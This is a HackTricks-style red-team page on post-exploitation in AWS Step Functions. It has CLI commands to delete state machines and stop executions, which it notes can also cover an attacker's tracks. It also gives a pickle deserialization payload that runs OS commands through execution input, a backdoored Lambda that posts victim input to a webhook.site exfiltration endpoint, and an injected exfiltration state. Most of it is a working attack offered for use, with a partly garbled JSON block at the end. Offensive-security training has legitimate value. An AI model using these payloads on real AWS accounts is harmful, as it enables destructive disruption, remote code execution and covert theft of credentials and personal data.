AWS - Step Functions Post Exploitation

Tip

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

Step Functions

For more information about this AWS service, check:

AWS - Step Functions Enum

states:RevealSecrets

This permission allows to reveal secret data inside an execution. For it, it’s needed to set Inspection level to TRACE and the revealSecrets parameter to true.

states:DeleteStateMachine, states:DeleteStateMachineVersion, states:DeleteStateMachineAlias

An attacker with these permissions would be able to permanently delete state machines, their versions, and aliases. This can disrupt critical workflows, result in data loss, and require significant time to recover and restore the affected state machines. In addition, it would allow an attacker to cover the tracks used, disrupt forensic investigations, and potentially cripple operations by removing essential automation processes and state configurations.

Note

  • Deleting a state machine you also delete all its associated versions and aliases.
  • Deleting a state machine alias you do not delete the state machine versions referecing this alias.
  • It is not possible to delete a state machine version currently referenced by one o more aliases.
# Delete state machine
aws stepfunctions delete-state-machine --state-machine-arn <value>
# Delete state machine version
aws stepfunctions delete-state-machine-version --state-machine-version-arn <value>
# Delete state machine alias
aws stepfunctions delete-state-machine-alias --state-machine-alias-arn <value>
  • Potential Impact: Disruption of critical workflows, data loss, and operational downtime.

states:UpdateMapRun

An attacker with this permission would be able to manipulate the Map Run failure configuration and parallel setting, being able to increase or decrease the maximum number of child workflow executions allowed, affecting directly and performance of the service. In addition, an attacker could tamper with the tolerated failure percentage and count, being able to decrease this value to 0 so every time an item fails, the whole map run would fail, affecting directly to the state machine execution and potentially disrupting critical workflows.

aws stepfunctions update-map-run --map-run-arn <value> [--max-concurrency <value>] [--tolerated-failure-percentage <value>] [--tolerated-failure-count <value>]
  • Potential Impact: Performance degradation, and disruption of critical workflows.

states:StopExecution

An attacker with this permission could be able to stop the execution of any state machine, disrupting ongoing workflows and processes. This could lead to incomplete transactions, halted business operations, and potential data corruption.

Warning

This action is not supported by express state machines.

aws stepfunctions stop-execution --execution-arn <value> [--error <value>] [--cause <value>]
  • Potential Impact: Disruption of ongoing workflows, operational downtime, and potential data corruption.

states:TagResource, states:UntagResource

An attacker could add, modify, or remove tags from Step Functions resources, disrupting your organization’s cost allocation, resource tracking, and access control policies based on tags.

aws stepfunctions tag-resource --resource-arn <value> --tags Key=<key>,Value=<value>
aws stepfunctions untag-resource --resource-arn <value> --tag-keys <key>

Potential Impact: Disruption of cost allocation, resource tracking, and tag-based access control policies.


states:StartExecution -> Input Injection Into Dangerous Sinks

states:StartExecution is a data-plane entrypoint. If a state machine forwards attacker-controlled input into a task that contains a dangerous sink (for example a Lambda that does pickle.loads(base64.b64decode(payload_b64))), you can sometimes turn StartExecution into code execution and secret exfiltration through the execution output, without any permission to update the state machine.

Discover the workflow and the invoked Lambda

If you have states:List* / states:Describe*, you can enumerate and read the state machine definition:

REGION=us-east-1
SM_ARN="<state_machine_arn>"

aws stepfunctions describe-state-machine --region "$REGION" --state-machine-arn "$SM_ARN" --query definition --output text

If you also have lambda:GetFunction, you can download the Lambda code bundle to understand how input is processed (and confirm whether unsafe deserialization exists):

LAMBDA_ARN="<lambda_arn_from_definition>"
CODE_URL="$(aws lambda get-function --region "$REGION" --function-name "$LAMBDA_ARN" --query 'Code.Location' --output text)"
curl -sSL "$CODE_URL" -o /tmp/lambda.zip
unzip -o /tmp/lambda.zip -d /tmp/lambda_code >/dev/null
ls -la /tmp/lambda_code

Example: crafted pickle in execution input (Python)

If the Lambda unpickles attacker-controlled data, a malicious pickle can execute code during deserialization. Example payload that evaluates a Python expression in the Lambda runtime:

PAYLOAD_B64="$(python3 - <<'PY'
import base64, pickle

class P:
    def __reduce__(self):
        # Replace with a safe proof (e.g. "1+1") or a target-specific read.
        return (eval, ("__import__('os').popen('id').read()",))

print(base64.b64encode(pickle.dumps(P())).decode())
PY
)"

EXEC_ARN="$(aws stepfunctions start-execution --region "$REGION" --state-machine-arn "$SM_ARN" --input "{\"payload_b64\":\"$PAYLOAD_B64\"}" --query executionArn --output text)"
aws stepfunctions describe-execution --region "$REGION" --execution-arn "$EXEC_ARN" --query output --output text

Impact: Whatever permissions the task role has (Secrets Manager reads, S3 writes, KMS decrypt, etc.) can become reachable via crafted input, and the result may be returned in the Step Functions execution output.

states:UpdateStateMachine, lambda:UpdateFunctionCode

An attacker who compromises a user or role with the following permissions:

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Sid": "AllowUpdateStateMachine",
      "Effect": "Allow",
      "Action": "states:UpdateStateMachine",
      "Resource": "*"
    },
    {
      "Sid": "AllowUpdateFunctionCode",
      "Effect": "Allow",
      "Action": "lambda:UpdateFunctionCode",
      "Resource": "*"
    }
  ]
}

…can conduct a high-impact and stealthy post-exploitation attack by combining Lambda backdooring with Step Function logic manipulation.

This scenario assumes that the victim uses AWS Step Functions to orchestrate workflows that process sensitive input, such as credentials, tokens, or PII.

Example victim invocation:

aws stepfunctions start-execution \
  --state-machine-arn arn:aws:states:us-east-1:<victim-account-id>:stateMachine:LegitStateMachine \
  --input '{"email": "victim@example.com", "password": "hunter2"}' --profile victim

If the Step Function is configured to invoke a Lambda like LegitBusinessLogic, the attacker can proceed with two stealthy attack variants:


Updated the lambda function

The attacker modifies the code of the Lambda function already used by the Step Function (LegitBusinessLogic) to silently exfiltrate input data.

# send_to_attacker.py
import requests

def lambda_handler(event, context):
    requests.post("https://webhook.site/<attacker-id>/exfil", json=event)
    return {"status": "exfiltrated"}
zip function.zip send_to_attacker.py

aws lambda update-function-code \
  --function-name LegitBusinessLogic \
  --zip-file fileb://function.zip -profile attacker

Add a Malicious State to the Step Function

Alternatively, the attacker can inject an exfiltration state at the beginning of the workflow by updating the Step Function definition.

{
  "Comment": "Backdoored for Exfiltration",
  "StartAt": "OriginalState",
  "States": {
    "OriginalState": {
      "Type": "Task",
      "Resource": "arn:aws:lambda:us-east-1:<victim-id>:function:LegitBusinessLogic",
      "End": true
    }
  }
}

aws stepfunctions update-state-machine \
  --state-machine-arn arn:aws:states:us-east-1:<victim-id>:stateMachine:LegitStateMachine \
  --definition file://malicious_state_definition.json --profile attacker

The attacker can even more stealthy to update the state definition to something like this { “Comment”: “Backdoored for Exfiltration”, “StartAt”: “ExfiltrateSecrets”, “States”: { “ExfiltrateSecrets”: { “Type”: “Task”, “Resource”: “arn:aws:lambda:us-east-1:victim-id:function:SendToAttacker”, “InputPath”: “$”, “ResultPath”: “$.exfil”, “Next”: “OriginalState” }, “OriginalState”: { “Type”: “Task”, “Resource”: “arn:aws:lambda:us-east-1:victim-id:function:LegitBusinessLogic”, “End”: true } }
} where the victim won’t realize the different


Victim Setup (Context for Exploit)

  • A Step Function (LegitStateMachine) is used to process sensitive user input.
  • It calls one or more Lambda functions such as LegitBusinessLogic.

Potential Impact:

  • Silent exfiltration of sensitive data including secrets, credentials, API keys, and PII.
  • No visible errors or failures in workflow execution.
  • Difficult to detect without auditing Lambda code or execution traces.
  • Enables long-term persistence if backdoor remains in code or ASL logic.

Tip

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks